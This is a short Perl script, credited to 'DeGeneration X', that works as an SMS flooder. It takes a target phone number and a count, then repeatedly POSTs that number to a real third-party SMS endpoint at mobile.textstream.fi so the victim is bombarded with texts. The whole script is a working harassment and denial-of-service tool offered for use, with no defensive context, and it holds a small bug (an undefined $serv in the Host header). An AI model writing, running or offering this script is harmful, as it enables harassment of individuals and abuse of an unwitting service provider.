#!/usr/bin/perl
###############################################
#SMS Flooder writen by DeGeneration X         #
###############################################
#                                             #
#phone number format:                         #
#[country_code][operator_cod][phone_number]   #
#e.g. 76061234567                             #
#                                             #
###############################################

use IO::Socket;

print "Phone number:";
$phonenumber = <STDIN>;
chomp($phonenumber);
print "How much sms:";
$muchsms = <STDIN>;
chomp($muchsms);

$server = "mobile.textstream.fi";
$path = "http://mobile.textstream.fi/msearch/smsreceive.php";
$data = "numberfrom=%2B"."$phonenumber";
$len = length $data;

for($i=0;$i<$muchsms;$i++)
{
 $get = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "Cannot Connect Host";
 print $get "POST $path HTTP/1.0\n";
 print $get "Host: ".$serv."\n";
 print $get "Content-Type: application/x-www-form-urlencoded\n";
 print $get "Content-Length: ".$len."\n\n";
 print $get "$data\n";
}
 print "Done!";